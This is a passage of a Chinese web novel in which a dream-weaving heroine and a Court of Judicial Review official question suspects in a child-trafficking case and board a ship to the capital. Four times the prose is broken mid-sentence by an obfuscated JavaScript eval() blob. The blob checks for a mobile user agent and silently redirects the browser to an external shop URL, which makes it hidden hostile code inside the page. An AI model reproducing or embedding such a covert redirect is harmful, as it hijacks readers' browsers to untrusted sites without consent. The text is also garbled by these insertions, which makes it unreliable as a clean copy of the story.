言罢,她正欲转身推门,就见一旁的景凭生先她一步将门推了开来,而后耳边传来他含笑的四个字。 “我睡眠浅。” 言下之意,只要喊我我就能听见。 沈付雪瞥他一眼,走进房间即将把门关上的那一刻,她笑着,回他:“那云笙一定小心,定然不会吵到少卿大人安睡的。” 说完,门便“吱呀”一声关上,屋内落锁的声响随之传来。 景凭生:“……” 旁边的阿泽没憋住笑,被他瞪了一眼后当即摆正姿态,规规整整地给他行了个礼后也回房去睡了。 只是景凭生耳力好,即便人已经走出好一段距离了,还是有细碎刺耳的笑声传来。 景凭生面无表情,心里却在盘算着应该怎么给自家侍卫一个难忘的“教训”。 “那个……” 细弱的声音从旁侧响起。 景凭生循着声音扭过头,然后就见那一直屁颠屁颠跟在沈付雪身后的少年也学着阿泽的样子,磕磕绊绊地朝他行礼:“景大人早睡,我也先回去了……” 景凭生点头应下。 然而那少年刚走出几步,他又忽地想起来什么,怕吵到屋里的人,三两步追上少年后才道,“等一下。” 视线落在少年茫然的眼睛里,景凭生淡然开口:“你……可要跟我学武?” 学……武? 阿澈闻言眼睛一亮,但转眼又反应过来,一脸警惕地看着他:“为什么要教我学武?” 毕竟少卿大人不太喜欢他这一点,他还是能感觉出来的。 见他反应如此迅速,景凭生看向少年的目光难得带了些欣赏,只是语气依旧犀利刻薄:“因为现在的你……” 少卿大人双手抱臂,居高临下地望着他:“在她身边只能是个累赘。” “我——” 少年的自尊要他反驳,可话到嘴边,阿澈却不得不承认,他说的是事实。 现在的他,的确帮不了云娘子什么。 不仅是他,阿妹也是云娘子在帮他照顾…… 阿澈垂下头,强烈的羞愧感伴着无力涌上心头,像是要将他淹没。 “想好了么。” 那人问。 “我……”少年轻喃。清亮的月光之下,他倏地抬起头,目光坚定:“我想好了。” “少卿大人,请您教我学武。” * 许是因为许久没有睡过安稳觉了,除景凭生和阿澈阿泽以外的两人,也就是只有沈付雪和安安睡到了日上三竿才堪堪醒来。 景凭生和阿泽她能理解,但阿澈…… “云娘子,少卿大人在教我练武了!” 少年语气兴奋,脸上看不出一点儿疲态。 沈付雪面露惊讶,先是夸了少年几句,而后才朝景凭生看去。 “怎么,你要代他付我教习的费用么?” 景凭生眼睛含笑,明显是在调侃她。 沈付雪自动忽略他这句话,只道:“那便多谢少卿大人了,大人真是个好人。” 景凭生:“……” “大人今日可有安排?”沈付雪站起身,走到他身边:“若是无事,可要跟我一同去县衙一趟?” 景凭生:“去那里做甚?拐卖案已经结案,若你是想知道那犯人的下场,让阿泽去问上一问便好,何须亲自去一趟?” 被点到名字的阿泽抬起头,目光幽怨地看过来。 闻言,沈付雪却摇了摇头:“不是这个,我是想去找县令要一下受害者的家属名单和住址,大人……可能有所不知,民女会一些江湖奇术,能借梦境开导伤心失意之人。虽不知对那些家属有无疗效,但总归要比什么都不做的好。” 明日才出发去京城,该准备的东西也都已经备好了,今日闲着也是闲着,她既学了绘梦之术,便要充分发挥它的用处。 只是……“绘梦”二字过于扎眼,沈付雪没敢提,只用“江湖奇术”四字来代替。 但哪怕是这样,沈付雪觉得,景凭生也一定是知道她在说什么。 因着日后要一起共事,绘梦之术又太过特殊,她总归是瞒不住的,倒不如现在就摊开了讲,左右景凭生不知道在打什么算盘,只要他不拆穿她,她便继续装下去。 虽说这装的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227984|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的确有些不走心就是了…… 沈付雪说完,哪怕是垂着眼没看那人,都能感受到从上方传来的炙热视线。 片刻后,只听得那人轻笑一声,道:“云娘子果真心善,那便走吧。” 话音落下,景凭生率先走出去。 同昨日路径一致,由阿泽赶着马车,三人很快便到了县衙,顺利拿到受害者家属的名单和住址。 马车再次启程,小半个时辰后,终是在快到第一家住户的路上停了下来。 前面马车不好通行,只能徒步过去。 不过这正好遂了沈付雪的心意。虽说这昂贵的马车并没有很颠,但也架不住一直坐着,下来走走倒是让她舒服了不少。 只是忽地,寒风卷起落叶,本就不算温暖的天儿又下起细密的小雪。 幸好昨日采买的时候给自己添了几件冬衣,否则这还没到人家里呢,怕是就要被冻得走不动路了。 沈付雪伸手哈一口气,随后便裹紧身上衣裳,慢慢悠悠地往外走。 “云娘子,伞……” 身后阿泽追了上来,细心地为两人递上伞。 不待沈付雪回话,景凭生就把伞接了过去,但也只是接了一把伞,另一把被留在阿泽的手里,无人问津。 “一把便够了,她不需要。” 说完,景凭生拿着伞,但也只是拿着并不撑开,两人就这么悠哉悠哉地走在雪天里,远看倒是有种温馨唯美的意境,但……阿泽不理解。 阿泽看着自己手里的伞,撑开,给自己打上。他得留下看着马车,所以就这么撑着伞,看着自家大人和云娘子走远。 …… 沈付雪挺喜欢雪的。 如非必要,在雪天她不会打伞,就这么淋着雪会让她有种异常愉悦的满足感。虽说这习惯被母亲念叨了许多次,但她还是改不掉,依旧我行我素。 只是…… 沈付雪从衣服上的绒毛里探出头,看向景凭生。 “大人怎知我不用伞?” 沈付雪嘴上这么问,但心里却早已有了答案。 虽说地域不一,但苗疆的冬天也是会下雪的。彼时她极为幼稚地因这个问题同景凭生争执,硬要拉着他陪他淋雪…… 如今这般问,也不过是想看看他要怎么回答罢了。 看着眼前女子脸上鲜见地闪过一丝狡黠,景凭生笑了下,不慌不忙地答道:“云娘子可是忘了,某昨日还提醒过娘子,聪慧人之间合该心意相通,云娘子喜欢什么,某……自然知晓。” 沈付雪:“……” 搬起石头砸自己的脚,早知他要这般回答,她又何必自讨苦吃。 干笑两声附和过去,沈付雪不由得加快脚步同他稍稍拉开了些许距离。 第一户人家住的地方有些偏僻,沈付雪又稍微有些路痴,于是寻路的任务就这么交到了少卿大人手里,方才被刻意拉开的距离也被沈付雪悄摸摸地补上。 她跟在景凭生身后,埋头走路。 “等等——” 忽地一个急刹,沈付雪仰着头后退两步,这才堪堪稳住身体。 不等她说些什么,景凭生飞快地拉着她躲在墙的拐角,示意她不要出声。 “嘘,前面……有人。” 12. 第 12 章 探头探脑,鬼鬼祟祟。 枯黄的大树下,有两人密谈的声音传来。 “……关爷,这数目好像……对不上呀?” 站在门口,从屋里探出半个身子的矮小男子伸头往钱袋子里瞅了两眼后,如此道。 闻言,关元轻啧一声,皱起眉头不耐烦地看向他:“不是我说啊小钱,这不仅货丢了,人也折损进去两个,上边儿没怪罪下来都是好的!老子是看在你没有功劳也有苦劳的份儿上,这才自掏腰包给了你几个子儿……怎么?嫌少?嫌少就给老子还回来——” 说着,关元伸手就要去抢。 “诶诶诶没有!没有关爷,没嫌少……” 矮小男子讨好地朝人一笑,转眼便将手中荷包塞进了自己的袖中。 紧接着,他抬眼看向关元,小声询问:“那这下一批货……” “嘿——”大手高高举起,关元目光狠厉地瞪他一眼:“这都什么时候了还想着你的钱呢,现下风声正紧,再捞下去你不要命啦?!” 说着,他吐出一口浊气,又道:“我打听过了,那两个瘟神明天就回京了,等他们回去,再等上一段时间……到时候我会来联系你的。” “诶好好好,那关爷我这饭都备好了,不然还是留下来吃一顿再走?” “就你这穷酸样儿,能有我去酒楼吃一顿美?下次吧下次吧……” “哎呀关爷……” 谈话声渐渐远去,听脚步声,应是那矮小男子正追着他口中的“关爷”,不停拉扯。 …… 待脚步声返回,“咣当”一声大门被落锁后,藏身于墙角的两人这才放松气息,不约而同地看对方一眼。 “若是没猜错,那人口中的‘瘟神’……应该有你一份儿。” 沈付雪双手抱臂,笑着打趣他。 景凭生抬眸瞥她一眼:“你不也是?” 凭一己之力杀掉他们好几个同伙,沈付雪定然也是被记住了的。 又或者说,在那些人牙子的眼里,沈付雪比景凭生还要可怕。 两人你来我往地相互打趣一番后,沈付雪舒展眉眼,看向少卿大人:“里面的那人……” 她扬眉示意,明白她意思的景凭生默契地接上话:“打一顿?” 无声地赞许下,两人走出墙角,而后大摇大摆地在门前站定,抬起手,敲门。 “……谁啊!” 正乐滋滋数钱的男子听到敲门声,本不欲理会,但架不住门外声音不停,便只好骂骂咧咧地走出来。 “吱呀”一声,大门被拉开,男子一脸傲气地走出去,嘴里骂街的话还没说出口,就见眼前一根棍棒袭来,旋即他眼前一黑,没了意识。 …… 再次醒来,眼前依旧是熟悉的景象。 只是自己的双手却被绑在了桌子腿上,钱来试着动了动手,桌子纹丝不动。 ……早知如此,当初就不该听那掌柜的,买了个质量这般好的让自己受罪。 望着不远处正背对他而坐的两人,钱来没办法,只得轻咳一声开口道:“那、那个,二位大侠……” 钱来拉长声音,试图引起那两人的注意。 而后,见那两人转过身来,钱来脸上瞬间堆起笑,正要说些胡编乱造的可怜话,却在看到那女子面容的瞬间僵住。 “云、云娘子?!” 钱来震惊大喊,随即心里又慌又喜:“云娘子您这是做什么,我们昨日还见过的呀,您是不是……绑错人了?” 闻言,沈付雪面无表情地看向他。 他口中的“见过”,便是说在县衙审讯室外的那一面之缘,沈付雪虽不记得这一面,但猜也能猜出来他的意思。 只是…… “自是没绑错人。”沈付雪双手环胸,居高临下地望着他:“私下诱骗无辜稚子,买卖人口,你可知罪?” 不等钱来回答,沈付雪又道:“若是不知道的话……”她压低声音,脸上勾起一抹奇异的笑:“你可知道王二王衙役的下场?” 王二王衙役,钱来岂能不知道。 据说是在被关大牢的当晚就发了疯,众人皆传是那一晚经受了非人对待,王二才落得如今这般疯癫的下场。 也有人说王二是想逃脱接下来的刑罚,这才装起了疯…… 但无论如何,王二的下场都算不上好。 如今云娘子说这种话,莫非…这王二一事,同她有关? 越想越觉得此般猜想便是事实,明明沈付雪只是说了一句话,还未来得及做些什么,这钱来便被自己的脑补吓破了胆。 末了,只见他苦着一张脸,不顾那被绑在身后桌腿上的手,疯狂朝着两人磕头,道:“大人、两位大人!呜……小的知错,是小的不知死活,小的不该受那关元怂恿,为一己之私诱拐人口……” “还望两位大人看在小的诚心悔过的份儿,饶了……啊不,坦白从宽,就从轻处罚小的吧!!” 只一句话,便让钱来自顾自地破了防,不仅招待出了犯罪事实,如今更是鬼哭狼嚎地求饶…… 景凭生眼含欣赏地看向沈付雪,如此严肃的场面本该收敛些的,但他忍了又忍,却还是没忍住勾起了唇,想压也压不下去。 察觉到有视线落在自己身上,沈付雪下意识地回头看他一眼。 动作停顿片刻,而后沈付雪默默地收回视线,假装没看到少卿大人那般痴笑模样。 但耳边的嚎叫声过于难听刺耳,沈付雪虽忍住了打景凭生一顿的冲动,却没忍住踢钱来一脚:“行了,闭上你的嘴。接下来我问的几个问题,若你如实回答,到时候我自会去县令那边帮你求求情,但若是你胡编乱造……” 话没说完,钱来就一把抓住沈付雪踢过来的鞋子,像是抓住了海上最后一根浮木似的:“云娘子放心!我一定好好答,云娘子问什么我就说什么,保证知无不言言无不尽!” 沈付雪嫌弃地皱眉,一边点头应下,一边用力把脚从这人的拉扯下拽出来。 不过应是应下了,但有一点儿沈付雪没说。 以她现在的身份,去县令面前求求情自是没什么问题,但县令答不答应……可就不是她沈付雪的事儿了。 到时候钱来老实回答了却还是被判以极刑的话,可就是县令的“锅”,跟她没半点儿关系呢。 沈付雪笑着,默认钱来知晓这一点。 不过,王二之所以变得疯癫,说不定真的和她有些关系。 如果她的猜测没错的话,应当是因为那次她溜进县衙,对王二用了绘梦之术。 若是对人之记忆进行篡改的绘梦之术,那本就是逆天之行,不说她作为施术者要承担的反噬,王二作为“受害者”,若意志不够坚定,便很有可能受到绘梦之术的影响,损伤脑子,从而变得或痴傻或疯癫。 所以……王二落得此般下场,说罪魁祸首是她也不为过。 此般想着,沈付雪不由得又回头看景凭生一眼。 对他施展绘梦之术,已经两次了。 该不会有一天,景凭生也落得和王二一个下场吧…… 沈付雪拽拽衣角,又是担忧又是心虚。 先前绘梦之术刚被她研究出来,效果还未完全明晰,便遇上蛊王被她一口气吹死的紧急情况…… 沈付雪不想为自己开脱,但,若是重来一次,兴许……她还是会选择篡改景凭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227985|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生的记忆。 她本就不是什么良善之人。 这世上,也容不下纯正的善良。 …… 一柱香后,沈付雪弯腰走进马车。 下一刻,被五花大绑着且再次陷入昏迷的钱来,“砰”的一声,被丢进马车。 掀帘欣赏了下自己的杰作,阿泽满意地拍拍手,随即便回到车厢外开始赶车。 同他们想的一样,这钱来并非什么核心成员,所以关于绑架案也只是略知一二,通过钱来所交代的,他们唯一能得出的结论便是——绑架案的幕后凶手……另有其人。 师爷也不过是被拉出来挡枪的可怜虫罢了。 但至于这幕后之人是谁,绑架目标有无特点,绑架这些人到底是要做什么等等一系列问题钱来是一概不知。 “钱来所言,你可有什么想法?” 马车内,景凭生倚着车厢,懒洋洋地开口道。 知道他是揣着答案问问题的沈付雪也不在意,只语气平静地回道: “依钱来所言,他只是拿钱办事,关元那边要人了,他就把平日里物色好的一些人诱骗过去交差。被他当做目标的大多是孤儿,或者是同家里关系不好的,拐卖这类人风险比较小,就算被人发现了也没什么,反正最后都是不了了之。最不济就是拿钱打点一下,也怪不得被拐之人如此之多,竟无一人去报官……” 说着,沈付雪停顿片刻,又道:“钱来说他只诱拐了七八人,但被拐之人分明有二十不止,所以……” 沈付雪清亮的目光望过去:“像钱来这般拿钱办事之人,定然不止一个。” “哗啦”一声响,那捏在手里许久的纸张被沈付雪展开,递过去,“将这份名单上的人都派人走访一遍,兴许这案件的诸多细节……便能串起来了。” 四目相对。 景凭生笑着接过沈付雪递来的那写着被害人家属姓名和住址的纸张,不吝夸赞:“云娘子果真冰雪聪明,云娘子能同意加入我大理寺,倒是某之荣幸。” 闻言,沈付雪只微微一笑,并不言语。 但就在她微微放松心神的时候,少卿大人却忽地换了语气,转折道:“云娘子的分析的确没有问题,但……云娘子是否忘了,那钱来,可是和云娘子在县衙碰过面的。” 和她在县衙里碰过面…… 沈付雪皱起眉,刚想要反驳和她碰过面怎么了,所有被害人的家属都和她碰过面……倏地,脑子灵光一闪,沈付雪当即抓住了那一直以来都被她忽略了的一点: 钱来既是作案者,又为何会被当成被害人家属放进县衙呢?作为被害人家属,那……他所认领的被害人,又是谁呢? 事情仿佛顷刻间复杂了起来。 马车无声驶向县衙。 不待沈付雪思考出个所以然,马车便在县衙门口停下。 望着门口的牌匾,沈付雪无声叹口气。 起初她只是想从案件里脱身而已,连救人都只是顺便,没想到现在却被案件裹挟着深入,谜团一个着接一个,像是掉进无尽的漩涡,叫人窒息。 只是……以她现在的身份,想要报仇,加入大理寺是唯一,也是最快的一条路。 无论多难,她都得走下去。 “愣着做什么。” 耳边传来少卿大人似乎有些轻柔的呼喊,沈付雪被惊到,小幅度地晃了下身子,反应过来后迅速摇头:“没什么。只是在想……拐卖一案幕后凶手另有其人,那我们可是要推迟前往京城的日子?” 闻言,景凭生神秘一笑:“自然是如期进行。” 见沈付雪一脸疑惑地看过来,他又笑一声,道:“等下云娘子就知道了。” 13. 第 13 章 “钱来?” 县令的心腹徐青,边碎碎念边翻昨日登记在册的来访家属名单。 片刻后,他如释重负,把册子往两人眼前一递:“找到了找到了。看,就是这个。被认领的人叫……林离。” 林……离? 脑中闪过一张安静的女子面庞,沈付雪愣了一会儿,才将那张脸和册子上的名字联系起来。 她垂下眸,视线落到名字后的那一栏。 上面清清楚楚地写着,钱来与林离,是养父女的关系。 怪不得姓氏对不上…… 正想着,耳边传来一瞬声响,是徐青“啊”了一声后开口道:“我说这名字怎么那么熟悉呢……想起来了想起来了,这个小娘子啊,经常做一些在违法边缘游荡的事儿,只要给钱,什么活儿都能接,因为这个她三天两头地往县衙里跑,都已经是我们这儿的常客了。” “只是近两个月没什么动静,我还以为她‘金盆洗手’不干了,没想到昨天那一批人里竟然还有她……” 徐青说完,感慨似地晃着脑袋轻啧两声。 听他这么一解释,沈付雪倒是稍稍清楚了那日林离押送他们去交易的目的。但……钱来既是她的养父,那她在这个拐卖案里,又扮演着什么样的角色呢? 无数的假设从脑海里冒出,正思索着,脑中忽地闪过一个疑问。 于是,沈付雪抬头看向徐青:“昨日匆忙未来得及问,虽说只是拿钱办事,但到了山洞之时,林离在已然知晓是何种交易的情况下,依旧无动于衷……徐大人,依据律法,她可有罪?” 徐青不假思索地答:“自是有罪。” 说完,不等沈付雪继续点下去,徐青便忽地脸色一变,紧接着他招招手,朝着身边的人耳语了两句。 连他都知道的律法,督办此事的人又岂会不知?故而在即便林离有罪也被放出的情况下,便只能是出现了一种可能。 ——县衙之内,还有内贼。 仅一桩案件便扯出如此多的问题,徐青不由得悄悄抬起眼,往少卿大人的方向看去。 正心虚着,“嗖”的一声,门口忽地闯进一道身影。 被吓到的徐青:…… “徐大哥,”来人不知徐青的糟糕心情,只恭敬地喊了一声,然后朝身后指了指:“外面有人想见云娘子,您看……” “哦对了,”前来通报的衙役挠挠头,皱眉思考了一瞬才道:“那小娘子说,她叫……林离。” 说曹操曹操到。 面对徐青望过来的目光,沈付雪点点头,道:“那便让她进来吧。正好景大人我们两个,有些事情想问她。” 光明正大地借了少卿大人的名义,沈付雪主动回过头,朝人轻柔一笑。 对上她的视线,景凭生也不说什么,只懒洋洋地靠在身后的柱子上,弯着眼眸看她。 但审判案件终究是县衙之事。 且不论沈付雪现在还只是一介平民,即便是已然加入大理寺,在县衙之地审问嫌疑人……多少也有些越俎代庖的嫌疑。 于是,沈付雪叫住知趣想要离开的徐青。县令大人忙得焦头烂额不能在场,但徐青作为县令大人的心腹,有他在场,四舍五入也就是县令大人亲审案件了。 徐青:……? 他扭头看向这里官职最高的人,见他默许,便配合地留了下来。 “云娘子……” 清脆的喊声从外传来。 林离面色镇定地走向几人,屈身行礼。 但不同于她的平静,沈付雪盯着她额角上的伤,眉头微蹙。 “云娘子不必担心,”察觉到她的视线,林离浅浅一笑,竟是安慰起她来:“小伤罢了,民女今日前来,是有线索想提供给云娘子。” 闻言,沈付雪既没拒绝也没应下,只道:“林娘子又是如何得知,此刻我身在县衙呢?” 林离:“云娘子说笑了,民女同钱来的关系……”视线从徐青的脸上划过,林离笑着,道:“云娘子不是已经知道了吗?” “以云娘子的能力,查到养父只是早晚的事。所以,养父突然消失,除了云娘子和这位大人,民女想不出第三人。” “这么说……”沈付雪抬眸,面色冷峻地望着她:“林娘子对钱来所犯之事,可是知情?” 林离缓缓点头。 “民女今日,便是为此而来。” 说着,她从袖中掏出一张透着字迹的纸,递到沈付雪面前:“这是民女跟踪关元所记下的,所有参与了拐卖一案的人。还请云娘子过目。” 半信半疑地展开名单,黑色字迹将将映入眼帘,一旁的徐青就稳不住了,不吐不快似的,皱眉质问林离:“且不论林娘子所提供的信息是否正确,若你所言皆为事实,为何不早些上报官府?你可知若你早些告知我们,会有多少人因此而幸免于难?林娘子你……” “徐大人。” 林离突然开口打断他。 即便是被质疑了她也不慌,脸色依旧平淡:“徐大人既问出此话,那民女也想问问徐大人——县衙终究做了何事,竟让百姓有苦难言,有冤难申呢?” 明明只是简简单单的询问,并未刻意加重语气,但落在徐青的耳里,却是让他茅塞顿开,而后脸色倏然涨红,羞愧难言。 是了。 昨日之前的县衙,尚且存在着像师爷、王二这样的蛀虫……官犯勾结,有他们存在,县衙又怎能称得上清正廉洁之地,又怎能有百姓诉冤之路呢? 更何况县令今日之所以那么忙碌,也是因为拐卖一案牵扯甚多,在已然清理了一遍县衙之后,今日又被点出一个漏网之鱼…… 思及此,徐青默默地叹口气,自觉朝林离道歉:“方才是我激动了,在这里给林娘子赔个不是,还请林娘子莫要怪罪。” 本就不是什么大事,如今两人各退一步,周边没了声音,沈付雪这才从名单上抬起头来,看向徐青:“名单上的几人,有半数皆为昨日前来认领被害人的家属,民女猜测……除却诱拐,应还有买卖孩童的交易存在……” 说着,她把名单递给徐青,道:“徐大人既是县令信赖之人,那此事,便交给徐大人去处理吧。” 闻言,徐青点点头,招手喊来门口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227986|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 守着的几名衙役,又拿着名单吩咐了他们几句后,挥挥手,示意他们先去查验名单真伪再采取行动。 小喽啰的去向有了着落,但幕后之人的线索依旧未浮出水面。 沈付雪思索一瞬后,问林离:“关元此人……林娘子知道多少?” 先前以防打草惊蛇,他们并未即刻捉拿关元,本想着回到县衙便着手调查此人,但林离既然跟踪过他,想必对他的行踪会有一定了解。 如此,倒也能为他们省去不少麻烦。 果不其然,在听到沈付雪的提问后,林离花了三秒钟去组织语言,而后便十分详细地将关元的行踪讲了出来。 …… 除去吃喝玩乐,以及同他的“线人”碰面外,关元还有一项在固定时间才会进行的活动——上游船。 听着奇怪,但“上游船”三字其实并无什么深意,只是乘船进京的一个代称。唯一有些特殊的,便是“上游船”是直达京城,中间不会停靠其他任何一个地点。 如此这般,倒是方便了他们对关元的查探。 “‘上游船’所需花费甚高,民女一无钱财二无时间,便只跟着那关元到了船下。至于关元上船是做什么,就要云娘子自行查探了。” 说着,林离突然想起什么,又补充道:“‘上游船’五日出发一次,如今恰是第四日,也就是说,云娘子若是想调查,明日便是最佳时机。” 闻言,沈付雪下意识地往身后看了一眼。 明日……景凭生方才信誓旦旦地说他们能如期进京,莫不成就是因为这个? 可若真是如此,他明明一早便知晓一切,为何不直接告诉她?偏要看她分析的焦头烂额才舒心吗? 一堆疑问在心中闪过。与此同时,沈付雪看向景凭生的眼神已经从惊讶疑惑变成了幽怨不解,见他微微启唇似是要开口说些什么,沈付雪当即扭头,装作看不见。 “林娘子。”沈付雪喊了声,平复着心绪道:“若是线索被证实,林娘子便是将功抵过,可免牢狱之灾。” “但……”她停顿片刻,而后道:“钱来被抓,林娘子往后……可有什么打算?” 泰山崩于前而面不改色,沈付雪还是蛮欣赏林离这个小姑娘的。若是她有意,同她一起进京也未尝不可…… 沈付雪如是想着。 但林离却仿若看穿了她的想法似的,笑着道:“谢过云娘子关心,林离散漫惯了,往后自是跟之前一样,随心而活。且……林离本就跟养父关系不好,没有他,林离还能活得更开心也说不定。” 此话便是委婉地拒绝了。 沈付雪深觉可惜,但也尊重她的想法:“如此,便祝愿娘子能无拘无束,洒脱一世了。” 言罢,两人相视一笑。 …… “大人,云娘子,要走了吗。” 等候在马车上的阿泽见两人出来,连忙吐掉嘴里的草,随口搭上一句话。 但出乎意料的…… 没有人搭理他。 阿泽左看看右看看,最后挠挠脑袋。 这两人……莫不是吵架了? 14. 第 14 章 天色逐渐黑沉。 本是出于好心想帮助那些受害者的家属减轻些痛苦,却没想到又扯出一段阴谋……受害者家属没帮到,反倒是让自己更痛苦了一些。 沈付雪无声叹口气,纤长的手指按在额角,轻轻地揉了揉。 马车颠簸,规律的马蹄声不绝于耳,沈付雪胳膊肘支在窗边,渐渐地便有些昏昏欲睡。 忽地,脑袋滑下手掌,眼看就要磕到木窗,旁边人眼疾手快地伸出手,止住她的下落。 瞌睡惊醒,沈付雪猛然睁开眼睛,对上少卿大人笑吟吟的视线时还有些恍惚,愣了好一会儿才聚焦视线。 末了她垂下眸不看他,“……多谢。” 连称呼都懒得喊了。 景凭生好笑地看着她,明知故问:“云娘子……可是对某有什么不满?” 闻言,沈付雪抬起头回望他。 本不欲搭话,但细想又觉得是自己太过矫情,索性直接开口应道:“是有不满。虽不知是如何做到的,但少卿大人应当是早就知道了‘上游船’这一线索……甚至连关元这人也是。” 说着,她对上男子的视线,眸光坚毅而清亮,“这其中的弯弯绕绕,少卿大人既已全盘知晓,何不直接点出?偏要看民女自以为是的分析断案……大人此举,倒衬得民女像个笑话。” 言罢,沈付雪再度错开视线,垂着眸自顾自地平复心绪。 此事说来也不是什么大事,但不知为何,心里就像是窝了一团火,沈付雪不解,却也不想忍耐。 与其窝窝囊囊地憋着,倒不如像如今这般敞开了说出口,发泄出来,心情总归能好上许多。 就是可怜了被针对的少卿大人。 出乎意料的,景凭生并未生气,但却收起了往常笑吟吟的姿态,目光专注、认真地直视着沈付雪。 “云娘子此言,是气自己做了无用功,还是气我欺瞒云娘子?亦或是,两者皆有?” 男子平静的问话传进耳里,沈付雪眼眸微动,话到嘴边却又咽了回去。 见她不语,景凭生又接着道:“其一,云娘子既被破格选入大理寺,那便要有让人信服的能力,虽此言有自我开脱的嫌疑……”景凭生望着她,忽地笑了下,“但此举,确是为娘子考虑。” “至于这其二嘛,云娘子既选择加入大理寺,便要知道,为官之道波云诡谲,需得一步一个台阶方能行稳。云娘子……可万万不要心急呀。” 一杯热茶递到眼前,沈付雪抬起头,在少卿大人那仿若意有所指的话语里,迟疑地接过茶杯。 紧接着,带有暖意的茶水下肚,沈付雪感受着茶水的流动痕迹,心情不自觉地沉静下来。 此前确是她太过急躁,景凭生既为大理寺少卿,又担有那么多的美誉,有权有智,事先洞悉案件的真相也实属平常,她又何必以他人所得来计较自己之失呢。 思及此,她深吸一口气,笑:“多谢少卿大人解惑,雪笙明白了。” 嗯……带上了称呼呢。 看来的确是消气了。 不动声色地将人打量一番,景凭生正要开口说话,忽地马车嘎吱一声,停了下来。 外面安静了一路的阿泽也在此时开口道:“大人,云娘子,我们到了,可以回家啦。” 小心翼翼的语气,全然不似先前大大咧咧的模样。 沈付雪起身,低着的头恰好掩住唇角扬起的那抹弧度。 * 次日。 原定赶马车上路的几人,手里无一例外地都多了一张“上游船”的船票。 细心安排好一切的阿泽又左右看了两下,见自家大人和云娘子之间的氛围好似缓和了过来,这才放心地回身牵马,顺便好心情地哼起了小调。 虽回京之事刻不容缓,但饮安城也需要有人留下监管着。于是马车在县衙绕了个路,景凭生同县令商谈了两句,又留下一些人手,众人这才乘着马车朝那船只停泊的地方赶去。 不过今日是叫了车夫,便不再由阿泽赶车。几人一同挤在车厢内,不约而同地安静着。 忽地,有男子低沉的声音响起。 “确定那人已经在船上了么。” 景凭生支着脑袋,眼也不抬地开口问。 一旁的阿泽迅速接话:“确定确定。今日一早兄弟们就去岸边蹲守了,亲眼看见他进去了。” 因着去京城的人数众多,船只在出发前需要做许多准备,所以不同于其他小船只的航行,“上游船”所使用的船只,也就是溪蓝号,是可以提前进场的。 只要你乐意,也可以在船只停泊的那几天便住进去。 “哦对了,”阿泽忽地拔高声音,又忽地低下:“我让人买票的时候特意嘱咐了一句,这船票所对应的房间,应当是跟那什么关元挨着的,正好方便我们监视他。” 说完,阿泽一脸骄傲地盯着景凭生,似是在等待他的一声夸赞。 但……景凭生没理。 只在喉间溢出一声轻嗯,便算是给了他回应。 阿泽习以为常地撇撇嘴,正要在心里默默吐槽的时候,却忽地听到一声含着笑意的,温柔夸赞:“阿泽好生贴心,不愧是少卿大人的同伴。” 不是下属,也不是侍卫,是把人放在同等地位的,真情实感的同伴。 闻言,阿泽眼睛瞬间亮了起来,喜笑颜开地看向沈付雪:“哇!我算是明白阿澈和安安为什么那么说了,云娘子果真是天底下最最好的娘子!” “噗嗤”一声,再次听到这个形容,沈付雪还是没忍住笑。 一旁的阿澈默默地脸红,安安在沈付雪怀里正安睡,不知是不是听到了他们的动静,嘴里发出“喜欢”“云娘子”“阿兄”之类的呓语。 唯独景凭生面容平静地看了眼阿泽,而后将视线转到了沈付雪身上,就这么看着,不知在想些什么。 不过众人也没在意,有阿泽这么一个活宝在,再加上中途醒来的安安,一路上的欢声笑语倒是没断过。 直到众人上船,各自进入自己的房间。 毕竟是船只,溪蓝号上的房间自是比不得府邸的宽敞,但同样的,也没府邸安全。故而阿泽只买下了四间房,第一间给沈付雪和安安两人住,第二间是景凭生和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14240230|151292||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿澈他们三个人住,另外两个,则是由景凭生手下的一些人各自分着去住。 如此一来,也好有个照应。 当然,房间的位置阿泽也是有考究的。 